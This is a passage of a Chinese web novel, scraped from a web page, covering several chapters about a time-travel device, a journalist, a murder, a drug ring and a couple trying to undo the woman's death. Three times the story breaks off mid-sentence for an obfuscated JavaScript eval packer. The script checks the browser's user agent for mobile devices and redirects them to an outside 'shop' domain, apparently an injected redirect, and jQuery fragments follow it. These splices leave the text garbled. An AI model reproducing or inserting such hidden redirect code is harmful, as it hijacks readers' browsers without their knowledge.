“不!我一定会成功的,你等我,我一定会兑现承诺” 此刻,观景的人群逐渐散去,有人选择好奇地靠近,有人选择不满地躲开,但就是没人敢上前打扰他。 曾滢放下相机,扶着栏杆,兴奋地走下台阶,希望能获得男人的授权,最好是能做个采访,探寻男人身上的故事。 谁知她脚才踏上观景台,就被一个身着黑西装的男人猛地撞了一下。 男人身高近一米九,即便穿着西装,曾滢也能从撞击中感受到他有一身结实的肌肉。 随后,她听到自己的头顶处飘来了一句轻飘飘的对不起,看见西装男人快步走向她的目标采访对象,只得吃痛地摸摸自己的手肘,瞪了眼男人的后脑勺。 “宋挚,你在做什么?!”周浮沉的声音里满是怒气。 宋挚看着金光灿灿的江面,面无表情地道:“我在完成雎安的遗愿。” “你应该让她入土为安。”周浮沉的眉头拧在了一起,声音微颤,正在极力压抑自己的情绪。 “周浮沉,我说了。”宋挚的声音骤冷,“我在完成她的遗愿。” 语毕,宋挚将乌木盒合上,修长宽大的手轻放在乌木盒上,手指轻轻地摩挲着盒面。 真是视若珍宝。 曾滢在一旁感叹,想上前却又不敢。 见宋挚意欲转身离开,叫周浮沉的男人一把抓住宋挚的肩,沉声质问道:“新闻上关于宋叔叔研究装置失败和实验期间中饱私囊的事情,是真的吗?” 宋挚侧目,语气冷冽,“不关你的事。” 他一只手甩开周浮沉的手,另一只抱着乌木盒的手越收越紧。 周浮沉不甘心,仍不放弃,对着宋挚的背影喊道,“你说过,你会去找雎安,我不相信那是戏言。” 宋挚并没有因为他的话而停下脚步。 “可她已经死了,装置也失败了,你不会做傻事的,对不对?”周浮沉声色俱厉地高喊:“和我一起匡扶正义,得让那些伤害雎安的人通通伏法啊!” “呵,别傻了!” 宋挚蓦地停住脚步,忽地笑了,笑着笑着还弯腰捂肚子,模样有些癫狂,“我不是你,我不在乎其他人。什么匡扶正义?你是警察,那是你该做的。关我什么事?” 原先在一旁假装散步、实则偷听两位帅哥争执的路人,此刻纷纷避开宋挚,生怕他做出什么过激的举动。 “更何况,你的正义就是让他们受到法律的制裁。可是,然后呢?他们受到的惩罚能和雎安的生命对比吗?你能保证他们受到惩罚后就会改过自新吗?雎安就能死而复生吗?”宋挚站直身子,厉声质问周浮沉。 他的眼神空洞,仿佛被人抽取了灵魂,“我匡扶正义,只会是为了我的家人、我的爱人能在更好的环境下生活。” “可现在,还有意义吗?” 周浮沉心中憋闷,又感全身血液蹭蹭蹭地往脑袋上涌,急得他全脸涨红。 “那宋叔叔呢,他难道就不是你的家人吗?他受到这么多人的污蔑和攻击,你难道不想为他正名吗?” 宋挚好似没听见一般,头也不回地离开了。 这回,周浮沉没再阻拦他,而是站在原地,久久没有下一步动作。 天空应景的飘下细雨,周浮沉抬起头,只觉口中苦涩,凉意由头蔓延至全身。 “你好,周警官。请问你可以给我刚刚那位先生的联系方式吗?”曾滢鼓起勇气上前。 其实在她听到他名字的瞬间,她便想起周浮沉是谁了。 她曾就几个家暴导致的悲剧案件采访过他,他给她留下的印象就是一个周身散发着正气的有礼贵公子。 此刻,则多了些破碎感。 “你是谁?”周浮沉低下头,看着眼前矮小的女子,仍十分警惕地问道。 曾滢举起自己的相机,指着相机里宋挚的照片,解释道:“我叫曾滢,是一名记者,曾经采访过你的。刚刚我无意间拍下了这张照片,觉得很有意境,想要获得你朋友的授权。” 照片里的宋挚只有侧脸,却仍能感受到他的悲伤和哀恸。 周浮沉注意到他的手里似有轻烟,联想到那是什么,便不自觉地咬紧了后槽牙,冷冷道:“那你应该拦下他,问他本人拿联系方式。” 曾滢是觉得宋挚当下的情绪极不稳定,找周警官会比较好,至少可以获得宋zhi的名字和工作地址,没想到还是碰了钉子。 “那你能......” 不等曾滢说完,周浮沉抽身离开,一个眼神都没多给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今天下午,她从负责刑事案件板块的同事那得知,周浮沉早已不在天心派出所就职,2023年就转去了市刑侦支队。 曾滢打算下一步从周警官入手,从他最近经手的刑事案件着手调查。 曾滢原以为自己会通宵,没想到仅十分钟便查到一宗绑架案。 新闻报道:卢氏企业的富二代卢某绑架宋某,警察接到报案后,火速到场后发现一女子持刀将卢某杀害,并当着警方的面将刀尖对准自己。 又是富二代又是绑架,模糊的现场图又极具氛围感,隐约能看出男帅女美。 这条新闻,毫无疑问上了热搜。 曾滢点进热评,原想找到更多蛛丝马迹,却发现大多留言都是在恶意揣测是那名女子出轨宋某被富二代卢某发现,卢某恼羞成怒绑架宋某,女子因心爱之人受难而持刀杀人。 天哪!都2027年了,张嘴就编故事污蔑女性的人能不能有点新意?! 曾滢扶额,翻看了一众跟风帖,越看越气。 因她本身是记者,深知报道真真假假并不易辨,就算通过采访加走访等方式求证新闻真实性,也不敢打包票事实如此。 人心隔肚皮,眼见都不一定为实,求证都未必不会出错,更何况这些根据空穴来风的猜测就能说得有鼻子有眼的人,凭着感觉狠狠地发泄情绪,站在道德的制高点辱骂和指责他人。 曾滢返回界面,查看相关图片,在翻到一张能看清人脸的照片后,整个人激动地把脸往电脑屏幕上贴,而后又觉得自己真傻,握住鼠标并点击下载后,用放大器查看图片。 是雎安! 原来对话中提到的居安是邹雎安,而她也是新闻中谈及的持刀女子。 曾滢有些感慨,毕竟雎安曾是自己的高中同桌,两人曾无话不谈,只是后来没再联系,感情也就淡了。 她很快整理好情绪,转而去翻找雎安的微信和微博,希望能找到男子的线索。 最终,她在雎安的微博中发现了几条一个月前的内容,配文里有“挚”字。 “原来是挚,宋挚。”曾滢使用浏览器检索,果然找到了宋挚的录取公示等信息,“本科是在华州大学化学系,研究生方向是高分子物理与化学。” 可她却看得心不在焉,注意力都在老同学雎安的身上。 “这到底是怎么回事?” 68. “我死了?” 夜晚十点,加班几天的曾滢耐不住困意沉沉睡去,醒来时已是早上九点,十一个小时的睡眠并没有让她感到神清气爽,反而是头晕脑胀。 曾滢拿出清凉油涂抹太阳穴,随即打开电脑,打算继续昨晚的工作。 谁知仅过去一晚,网上有关“周某”和“宋某”的关联词,分别变成了“周浮沉包养”和“宋挚杀人”。 曾滢不可置信地细读最新出的报道,发现内容里多次提及“雎安”,而她的关联词多了个难听的“情妇”。 与此同时,雎安的真名曝光,家事也被挖出来被人指指点点。先是父亲被骗光所有积蓄,家里吵得不可开交,最终母亲一怒之下将父亲杀害。 新闻中写,就在她一无所有的时候,周浮沉包养了她。 文章配有一张图,图中的男子手里提着青菜,女子在拿钥匙开门,背景是某高档小区的房门前。 这则新闻下的评论区阴阳怪气的人不少,但质疑的也很多。 其中有不少人是觉得周浮沉长这么帅,工作还体面稳定,怎么会缺女朋友?更别说花钱包养一个罪犯的女儿,何必呢?他又不是什么中年油腻大叔。 可也有人反驳,说指不定周某就是有这癖好,就喜欢乘人之危。因为新闻中的女子清丽脱俗、气若幽兰,有种不易得的破碎清冷感,但她五官却并不锋利,看着更为婉约动人。 而关于宋挚,因为被拍到曾去过华州市第一人民医院,那正是被抢救过来的卢宇年住院的医院。而卢雨年,昨晚被人拔了鼻导管,因缺氧去世。 文章内含许多模棱两可的猜测,以及对邹、宋、周三人进行讨伐的引导词。 曾滢越看越不对劲,这些所谓的真相和证据,不过都是未经调查取证的一面之词,有些人无端猜测更是带着明显的恶意。 而文章底部的评论更是不堪入目,都是键盘侠的谩骂和诅咒。 实在是看不下去,曾滢回到文章本身,发现标题下的落款是华州新闻时时看。 别人或许不知道,但她知道这家媒体的实际控制人是戴清,她是卢宇年的妈妈。 ———————— 天空像是啜泣已久,终是忍不住爆发出自己的情绪般倾泻而出。 雨水狠狠地砸在宋言林身上,他能感受到其带着丝丝凉意浸入骨髓,令他忍不住地打颤。 这里是华州大学艺术楼最顶层的废弃教室,也是宋言林藏匿原本该是被销毁了的时空装置的地方。 宋挚就躲在这,躲避警察的通缉。 宋言林能找到这,他一点也不意外,听到宋言林厉声质问他,他更是心如止水。 “我如果不把事情做绝,你会主动说时空装置还没销毁的事吗?你会主动帮我?!” 宋挚苦笑,整个人颓废的靠在墙上,许久未修剪的头发挡住了些许视线,“或许是我自作多情。里边事情到了如此地步,你也不会帮我的。” “又或许,是我早就疯了。自从你沉迷于研究那个可笑的装置,妈又出事后,我就不是我,家也不是那个家了。” “你杀人了?”宋言林极其痛心,好不容易问出了口,因为他很害怕,会得到一个肯定的答案。 “我没有办法原谅卢宇年,更没有办法接受他在醒来后能接着在这个世界上蹦哒。” 两人相对无言,缄默许久。 宋言林低头垂目,不知在想些什么,待他再抬起头时,似是下定决心,将装置运行的真相告诉了宋挚。 怎么会是这样?这和他想的完全不一样! 听完后,宋挚皱起眉头,嘴唇微张,整个人的身体语言都透露着不可置信。 “你没骗我?为什么不是穿越到特定的时空?你一开始不是研究的这个课题吗?”他再次确认。 “没有,我没必要骗你。技术发展到什么地步,你又不是一无所知。我敢打包票,当下任何人想要穿越时空,都没有成功的可能。而这个装置,已经是奇迹了!” 宋言林的声音中带着些疲惫和无奈,“所以我之前才说,在2023年情人节之前发生的事情是无法改变的,不是我不愿意冒险去救玉瑛,而是根本就做不到。” 宋言林稍一停顿,闭眼又睁开,“但是,若是要改变你和雎安的命运,有我的助力,未必不能实现。” “真的?你愿意帮我?” 此言一出,宋挚的面上终于浮现出一丝笑容,宛如久旱逢甘霖的稻苗般焕发了一丝生机。 宋言林看宋挚现在这个样子,喉间如咽下整颗柠檬般酸涩。 其实,早在宋挚第一次开口求他时,他就心软了。只是,不知从何时开始,两人都不会表达对彼此的关心和爱。当时的他,担心宋挚对装置抱有过高的期待,万一没能救到雎安,他会很失望,故而义正言辞的拒绝了宋挚的请求。而宋挚冷着脸,什么都没多说,就走了。 可在那之后,宋言林虽然自己都不信能做到,却还是一直在暗中寻找救回雎安的方法。 他想,儿子当下的心情是和他想救妻子的心情是一样的,满怀期待却又觉渺茫无助。 而就在宋挚惹祸上身的前夜,也就是昨天,他再次进到装置,对救回雎安的方法已有眉目。 但这一切就好似宿命,宋挚为了救雎安,已经选择走了极端,以迫使他协助他。要是他不愿意,那他儿子就会以杀人犯的身份被逮捕。 2022年的宋言林,一定想不到他以后会和儿子闹到这个地步。宋挚不信任他,且对他再三强调的各种危险都充耳不闻。 然而,宋挚并非有意和父亲作对,他只是觉得,在这濒临绝境的处境下,他才有倾尽所有的勇气,心才更坚定,更知道自己想要什么,更敢放手去做。 或许,当初拿着刀走向卢宇年的雎安便是如此的决心。 在这一刻,他清晰地感受到了这份决心的力量。 “爸,谢谢你。” 宋言林为宋挚打开舱门的那刻,宋挚猛地上前抱住他,紧紧地抱着,用力地抱着。 这是在母亲死后,宋挚和宋言林第一次相拥、第一次有如此温馨的接触。 当宋言林久违的感受到宋挚的体温,触到自己孩儿坚实的臂膀时,泪水终是忍不住的涌出眼眶,打湿了宋挚的衣衫。 “爸,等事情结束,我们一起去墓地看看妈吧。”宋挚拍了拍父亲的背,发觉他竟单薄了这么多,鼻子倏地一酸,眼泪在眼眶里打转。 他用极其轻柔的语气补充道:“还有雎安,我想带她一起去。” “好。”宋言林抽噎着应答。 眼前这两台时空装置,是宋言林近三十年的心血,如今被奸人构陷、被世人唾弃、被勒令销毁。 那不如就让它发挥最后的价值吧。 宋言林完成宋挚的初始设定后,成功将宋挚送到了目标时间和地点,随后准备进入另一台有他过往记录的装置,依照原计划,将消息传达给2023年5月进入到装置的宋言林。 “站住!” 咔嚓一声,闪关灯照亮四周,宋言林开舱门的手僵在半空。 宋言林先是被突如其来的声音吓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16373624|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一哆嗦,而后却是觉得世界天旋地转,飘飘然得不似在人间。他尝试用闭眼来缓解眩晕感,待感受消失,睁开眼,发现自己还站在原先的位置。 “砰”的一声,宋言林终于想起自己的状况,转而回头去瞧,发现地上倒着一个背着相机的女生。 而将人打晕的,竟然是周浮沉! “林叔,你们被跟踪了都不知道。” 周浮沉从黑暗的角落走到灯光下,强烈的白光打在他的脸上,有种说不出的狠戾,是宋言林从未见过的样子。 “被偷听了也不知道,这样粗心,可不行。” 周浮沉话里的意思,他们的谈话他都听见了,自然也就知道装置的秘密和他的计划了。 宋言林退至舱门旁,警惕地问道:“你想干嘛?” “让我也进装置。”周浮沉拿起曾滢的相机,将内存卡拔出后递给宋言林,“作为交换条件,今天的事我会处理好,装置和你们的秘密都不会被声张。” 周浮沉的眼神越来越锐利,“还有卢震南他们,既然他们觉得他们能在华州一手遮天、敢在背地里制毒、祸害全国人民,如今还敢泼脏水给我们家,那我这次就让他们全都摔进烂泥里,再也爬不起来。” 眼前的周浮沉终是褪去了少年时期的迷茫和青涩,身上有着说不出的狠劲和压迫感、不怒自威,竟和他父亲周竞雄越来越像。 宋言林有一瞬的恍惚。 “林叔,我向您承诺,就算宋挚回来后现实没能改变,他仍要面临牢狱之灾,我也会帮他。” “但阿挚确实做了错事,你也听到了。”宋言林的眼底满是痛色,“要是失败了,我会让他去自首,早日出狱,重新做人,而不是找你掩盖他的罪行。” 而让宋言林同意将周浮沉送进装置的原因,是周浮沉最后说的这句话。 “林叔,宋挚是什么样的人,你最清楚。杀人这种事,他真的能做到吗?” ———————— 校外的美食街里都是待入驻的空商铺,内里摆放着的众多桌椅,只有一桌坐着人。 “你是相信我,还是查了监控?”宋挚直接问道。 周浮沉看着紧贴着雎安落座的宋挚,淡淡道:“我相信你,我也查了监控。” 闻言,宋挚拿起水杯喝了口水,没再追问。 “起初,我是怀疑过你,以为你因为雎安的死而彻底失了理智。”周浮沉下意识地看了眼雎安,“但我转念一想,你不可能杀人的。杀人会被调查通缉、会被限制行动。而你说过,你会去救雎安。” “为此,你不惜伪造证据以举报自己,同时买通报社的某个小领导,散布谣言并引爆舆论。” 宋挚低头一笑,而后抬头,收敛起笑容,解释道:“但我没有给雎安和你们家泼脏水。” “我知道。”周浮沉挑了挑眉尾,“我查了,很多假新闻都是戴清的手笔。她知道卢宇年出事后,肯定会在第一时间查看监控,怎么可能会误认为是你做的?想来是已经锁定了凶手,同时觉得我们也是害死卢宇年的人,想让我们被网暴声讨。” “安安,你怎么了?”宋挚注意到雎安的不对劲,伸手握着她发凉的右手,发现她的手心都是汗,故而小心翼翼地询问道:“是哪里不舒服吗?” 雎安觉得自己仿佛被圈进了一个密不透风的泡泡里,宋挚的声音她能听见、却又好似隔着一层膜,只有“怦怦、怦怦”的心跳声尤为清晰。 “你刚刚说......”雎安抬眸,看着周浮沉担忧的双眸,缓慢地问道:“我死了?” 69. “那就不要死!” 虽然早有预示,但雎安听到自己持刀杀人的那刻,仍十分惊诧。 可不等她缓过来,周浮沉又来了句“怀疑宋挚因为她的死而彻底失了理智”,惊得她感觉心脏都漏了一拍、大脑一片空白。 “难道......是半死不活的卢宇年不甘心,从背后给了我一刀?” 周浮沉摇头,沉默许久,久到雎安失去了耐心。 “到底是怎么回事啊?你们不是要救我吗?不告诉我的话,我怎么规避?” 周浮沉深深地叹了口气,好似要讲一件比生死还要严重的事,严重到必须有一段缓冲的时间。 可雎安觉得,这世上没有比生死更严重的事了。 由此,她愈加好奇、愈加心焦。 “你不是被杀害的,也不是意外死亡。” “啊?”雎安大脑飞速运转,“什么?!” 她承认,因为家庭和工作的缘故,她确实时常感到低落、难过和烦燥。但她非常确定,她爱着这个美丽而复杂的世界,她有发现美的眼睛和心灵,她爱自己的生命,她有很多美好的期盼,还有很多地方没去,还有很多好吃的没试过,是万万不可能自杀的。 她曾想象过,如果有一天她身无分文、举目无亲的话,该怎么办? 不过十几秒,她便有了答案。 很简单,那就从零开始,第一个目标就是吃饱饭。 “我不可能自杀,绝不可能。”雎安挺直了腰板,声音、眼神和身体姿态都透露着坚定。 “没错。” 雎安坚定的模样让宋挚想到了什么,他鼻子发酸,看向她的目光中隐隐有泪。 “如果不是因为被人下了毒,如果不是为了摸清制毒点在哪,你不可能了结生命的。” “被人下毒?!什么人给我下毒?下的什么毒?”雎安的脑中迅速闪过古装剧中时常出现的各类毒药名称。 闻言,宋挚看向对面的周浮沉,示意这该由他来说。 周浮沉接收到宋挚的眼神,叹息一声道:“2026年8月20日,你突然和宋挚提分手,还说你发现你爱的人其实是我,说完以后你冲出公寓,人就不见了。宋挚接受不了,就跑到我这来找你,可我什么都不知道,你也没来找过我。” “那天之后,我和宋挚一直在找你,我们查了很多监控,发现你坐车去了安娜维诺工厂附近。于是,我们就去找了卢宇年对峙,结果他说他根本没看见过你。宋挚不甘心,就花大价钱收买了几个工厂的内部员工,让她们在工厂里找你。” “可还是没有消息。” 说着,周浮沉的眼睫微微颤动了下,“直到9月3日那天,你突然来找我,塞给了我一个U盘,告诉了我几个有可能是制毒点的位置。” 周浮沉放在桌面上的双手交握在一起、来回搓动,看起来十分焦躁不安。 “那天的你,面容憔悴,双目无光,还消瘦了很多,我不敢想这些天你都经历了什么。” 周浮沉慢慢低下了头,眼圈发红,声音微颤,“你说你一个月前就被下毒了,当时你总想吃麻辣烫,你以为是你胃口不好导致的,可后来你发现,你不是喜欢吃麻辣烫,你是只喜欢吃沈薇带给你的麻辣烫。” “什么?!”雎安不可置信地打断周浮沉,被宋挚握着的手逐渐收紧,痛得宋挚默默地咬住了嘴唇。 “是的,就是她,她不知道什么时候开始吸的毒,还帮着卢宇年祸害身边的人。” 周浮沉咬紧了后槽牙,目露凶狠,“她哥沈遂行先前就一直傍着卢震南和戴清做生意,你说他们走得很近,沈遂行很可能有帮着制毒和贩毒。” 雎安已有些听不清周浮沉在说些什么,只觉得有股寒意从脚窜到头、又从头窜到脚,让她不寒而栗、连打了两个抖。 “没事的,雎安。”宋挚赶忙靠近了些,温暖的手掌紧握着雎安发凉的双手,柔声安慰道:“你现在还好好的,而且你还知道了这些潜在的危机,你完全可以规避掉。” “没错。”周浮沉也加入安慰的队伍,“只要你回去以后多加防范,沈薇就没有了可趁之机、也就伤害不了你。” “直接断交吧。”宋挚的声音不似刚才那般温柔,而是有些发冷,“这世上这么多人,没必要和这种人做朋友。” 周浮沉默默地点了点头,“你的选择早就因为装置而发生了改变,牵一发而动全身,未来的走向肯定早就变了。她有可能会提前下毒的。最保险的方法,就是不和她接触。” “可是……”雎安垂着头,看着有些丧气,“阻止沈薇对我下毒这并不难,难的是如何阻止卢宇年。” 雎安这话让宋挚的心里疙瘩一下,“这话什么意思?卢宇年骚扰你了?” 雎安点头,将在办公室收到花的事,还有公司老板是卢宇年妈妈的事,同时还将卢宇年总会关注到她的这个点,全都说了出来。 宋挚和周浮沉越听,眉头拧得越是厉害。在雎安说完后,他们极其一致地认为雎安应该收拾东西、离开华州。 “我觉得一味地躲,不是办法。” 雎安冷静地分析道:“除非我能躲得很远很远,可我的经济条件并不好,哪怕是以外出打工的理由离开华州,我父母亲戚还在这呢,逢年过节还得回来。而且,除非我在另一个城市发展得很不错,有能力在外定居,否则过不了几年,我大概率还是得回来华州发展。” “而且,我觉得这件事不是躲过2026年就万事大吉了,重点是得推翻卢氏集团!” “可这太危险了。”周浮沉的神色很是凝重,“他们可是敢制毒和贩毒的人。” “我觉得雎安说得对。”宋挚却很快变了卦,“她不是孤身一人,宋教授可以帮她,我们在这个装置里可以提供线索。只要她隐在背后……” 铃声打断了他们的谈话。 “抱歉。”周浮沉将电话挂断。 然而,不到十几秒,手机再次响起。他再挂断,便又再度响起。 雎安注意到,来电者是管晋云,周浮沉的妈妈。 “等等,我劝你还是不要关机得好。” 宋挚在周浮沉关机之前,及时叫停,“这个时间,你本该在警校,不该出现在这里。现在明显是学校通知了你父母,如果你玩消失,后果很严重。” “你别忘了,宋教授说过,这里也是个完整的世界。你要是弄得一团糟,搞得自己受了处分,让雎安过早被关注到的话,可能会影响到雎安。” 毕竟周浮沉家里将他的前途看得很重,他这样跑出来还玩消失的话,即便他说是来找宋挚的,宋挚也确实在学校里,但他父母是不会信的。 “现在回去的话,好好说,还说得通。下次想出来,也不至于很难。”宋挚补充道。 其实,宋挚说得很对。 但周浮沉就是着急,着急见到健康的雎安,着急为她出谋划策,着急在未来的世界里能看到她的笑颜。 “去吧。”雎安劝道,“我才刚进装置,实验时间是四小时,要在这里待八天呢。” 最终,周浮沉依依不舍地离开了。 目送他离开,确认他的背影消失在视线之内,宋挚才收回视线,打算和雎安详细讨论一下如何让2023年的他加入拯救计划。 然而,雎安却突然抱住了他,双手环住他的腰,将头埋在他的颈窝处,开始肆无忌惮地低低哭泣。 宋挚静静地看着她哭得上下打颤的身体,不询问,不安慰,不打扰,就这么让她在他怀里尽情发泄情绪。 ———————— 茂密的高地树丛中,蹲着一排待命的警察,他们聚精会神地盯着下方停车场中的人群,注意着他们的一举一动。 雎安就是在这时,开车闯进了车场,直接将车停在车道中间,利落地打开车门下车,站定在卢宇年的面前。 此刻,卢宇年的身边站着三个皮肤黝黑、身形魁梧的男人,脚边还有一个被绳索绑着、被胶带捂住了嘴、倒在地上的男人。 是宋挚! 雎安下意识地想上前去,将宋挚从污脏的水泥地上扶起,却被卢宇年开口打断。 “你怎么来了?你不是最不听话的吗?怎么还火急火燎地跑来了,这么着急救你的小情郎?” 卢宇年问这话的时候,眼中是毫不掩饰的杀意。 他得知雎安前几天偷偷跑出去的那一刻,就打算将宋挚绑起来杀了。即便卢震南让他最近不要惹是非、不要惹是非,他也没打算收手。 “我给小宋想了个很不错的死法,很巧妙,查到了起因也查不到我,而且还不容易引人怀疑,你猜猜看是什么方法?” 卢宇年的表情和语气仿佛在询问的是件稀疏平常的事,就像在问她中午想吃什么一样,这让雎安不寒而栗、下意识地将手握紧。 她看了眼倒在地上的宋挚,发现他的脸上挂了彩,从不驼背的他居然蜷缩着倒在地上,他肯定被打得不轻! 雎安深吸一口气,做了足够的心理准备,出其不意地道:“我好难受,我想要货。” 卢宇年大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16385908|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵是没想到她居然敢在宋挚面前说这件事,片刻怔愣后,大笑出声,以极其狂妄的姿态,转身对宋挚说:“来,小宋,快看!现场给你表演一个?我让她干嘛就干嘛。” 闻言,宋挚拼命挣扎,却只能发出呜呜的声音来反抗,表达出的愤怒带着满满的无力感。 卢宇年笑得更得意了,他略加思索,想到那些经常出现在偶像剧的情节,突然有了主意,便朝雎安勾了勾手指,道:“过来,把我的鞋舔干净。舔干净了,我就给你货。” 宋挚再一次发出了呜鸣声。 雎安却恍若未闻,目光呆滞看着前方,眼神迷离而浑浊,缓慢地朝卢宇年走去。 “还要等吗?”周浮沉在树丛中待命,虽然听不到他们在说些什么,但看到雎安在慢慢靠近卢宇年的时候,已经焦急得心都要得出来了。 “我们到底在等什么?!” 大队长看他一眼,只让他退出或安静。 “队长!”另一个警察惊呼出声,“快看。” 在卢宇年松懈之时,雎安果断抬手,将小刀深深地插进了他的腹部。在众人震惊之余、还没反应过来的时候,她又使出了吃奶的劲将刀拔出,着手补了一刀。 卢宇年意识到发生了什么的时候,不可置信,满脸震惊,“你!” 在他震惊的目光中,雎安向前两步,极为镇定地将小刀从他的体内拔出。 很快,鲜血喷溅得哪里都是。 她的脸,她的手,她的衣服,脚踩的灰白色地砖都无一幸免。但她连眼睛都没有眨一下,没有慌张,没有惊恐,眼中闪着凌厉且坚定的光。 “不要小瞧我!” 雎安很快便被保镖的摁倒在地,模样很是狼狈,可她的表情却分外从容,很是镇定,甚至镇定到有些冷漠,没有因为杀人而慌张半分。 远处的周浮沉呆在原地,而他的同事们意识到事情发展失控,已经听从指令、纷纷向下冲了。 “我是没有亲人了,但我有我爱的人和真心爱我的人,我会守护他们,即便我死!你下地狱吧!” 卢雨年倒在保镖的怀中,捂着流血不止的伤口,脸上的笑容十分狰狞,声音却有气无力。 “你杀人了,也得陪我下地狱!” “不,我不会。”雎安否定得极快,“即便毒品浸染我,企图将我染黑。我的灵魂仍然是纯洁的,我没有自己的苦痛而加害其他人,也没有成为助推手。” 卢宇年大笑,仿佛听到了什么天大的笑话,也顾不上护伤口,吊着嗓子,用力喊道:“哈哈哈哈,那是你现在没犯毒瘾而已。” 卢宇年刚喊完,保镖便捂住了他的嘴,也顾不得他是他的雇主,因为警察正在极速冲向他们。 雎安却无暇去关注任何人,她目不转睛地看着宋挚,眼眶含着泪,“阿挚,我不想去天堂,我想去山川、去海洋、去田野,以天为被,以地为席,常伴爱人左右。” 警察冲过去帮宋挚解绑,而宋挚却情绪异常激动得示意警察去雎安那。 “你一定可以帮我实现的,对吧?” 随即,在警察压制住保镖,在雎安得到自由的那一刻,她将刀剑对准了自己。 宋挚拼尽全力挣脱绳索和警察的桎梏,不顾一切地冲到雎安身边,可他还是晚了一步。 “救护车!快叫救护车!”宋挚喊完,抱着雎安嚎啕大哭。 这是雎安第一次见他哭得眼泪鼻涕流,真情流露的模样很是可爱。 不自觉的,她抬起手,轻轻地为他擦拭眼泪。 “阿挚,我其实一点也不想死。” “那就不要死!”宋挚吼出声,坚定地告诉她,“毒品,我陪你戒!” 雎安摇头,眼泪不停地从眼眶滑落。 她张开了嘴,想告诉他毒品有多么可怕、有多么难戒,想告诉他、当她发现被朋友背叛的时候有多难过,想告诉他控制不住想吸毒的时候,她有多么厌弃自己。 可最终,这些都化作一声叹息,随着她的生命一起逝去了。 ———————— 雎安慢慢松开了宋挚。 宋挚低头,去观察她的表情,以为会看到她担惊受恐的模样。 然而…… “我们决不能放过他,决不!” 雎安的眼中满是无法忽视的决绝和坚毅,还有勇敢和不屈。 宋挚感叹,她总能出乎他的意料,总能带给他力量和惊喜,远比他想象得还要坚强、还要敢于迎难而上。 “好!” 70. 悸动 在雎安的宿舍楼下,宋挚依依不舍地看着她。此刻,他站在她身前,挡住了她的去路。 有风从他的身后吹来,雎安又闻到了那令她心安的香气。 “你不用回学校吗?”雎安问道。 “要,我待会儿就开车回去。”宋挚直勾勾地看着雎安,“我明天再来找你。” 雎安被他盯得有些不好意思,挪开了目光,用脚来回挪动地上的小石子,低声问道:“明天你不用上课吗?” “上课固然重要,但我有更重要的事要做,更重要的人要见。” 闻言,雎安颔首,脸颊微微泛红,“嗯,那也很好。不早了,我先回宿舍了。” 说完,雎安便“突突突”地往前走。 “雎安。”宋挚突然叫住她。 “嗯?” “明天见。” 雎安的耳根不知何时也染上了红晕,而且能清楚而明晰地感知到自己耳边的灼热。 她抿了抿唇,朝他笑了笑,转过身去,接着往前走。 然而,然而...... 在踏进宿舍楼的那一刻,她却有了“要是就这样分别了,她会后悔,她会遗憾”的想法,而她不想要后悔、更不想要遗憾。 如果说现实中她不敢表达爱,是怕对方不会回应、甚至会冷眼嘲讽,那么装置里的她,是在怕什么呢? 他是爱着你的宋挚,他是以余生作为筹码、以此来拯救你的宋挚啊,你到底在怕什么? “阿挚!” 宋挚并未离开,于是,他看着雎安突然转身,看着她坚定奔向他,看着她的头发随风扬起,看着她唇角偷偷上扬,耳边是熟悉得让他落泪的声音和昵称。 她踮起脚,微笑着,在他的脸颊处落下了一个清浅的吻。 他的眼泪顺着脸颊滑落,回吻了她。 ———————— 躲得过初一,躲不过十五。 雎安昨天被舍友缠着问了好一番话,她都选择打哈哈糊弄过去。 今晨,宿舍四人按原先约定好的时间一起去上课,雎安知道自己是躲不过的了,不如主动开口。 “我和宋挚在一起了。” “谁是宋挚啊?”刘礼晨和韩婕异口同声地问道。 “啊?”沈薇惊掉下巴,“我以为你喜欢卢宇年来着~” 听到这个名字,雎安的反应有些应激,“我怎么可能会喜欢卢宇年?!” 沈薇被雎安反应吓了一跳,“你之前不老打听他吗?他还来问我你的联系方式。还有昨天,你抛下我们去图书馆,我微信问你一起吃饭不,你说不想吃。结果转头就和卢宇年出现在食堂,我还以为你们有进展了。” 雎安很快就抓到了重点,“你不会把我的联系方式给他了吧?” 沈薇尴尬地点了点头。 难怪...... 昨天她的微信突然跳出一条什么都没备注的好友申请,申请人的头像是一张狂躁的动画人物像,她第一时间想到的就是卢宇年。 之前,她因为卢宇年意料之外的两次出场而感到好奇,确实和沈薇打探过一些有关他的信息,而现在,她只想远离他,也不再好奇她到底遗忘了哪些她和他的过往。 雎安理清思绪,抬头看到刘礼晨和韩婕一脸懵的表情时,觉得有必须好好解释一番。 于是,她告诉刘礼晨和韩婕,昨天那个坐到她身边的男生就是宋挚,还即兴编了个故事。 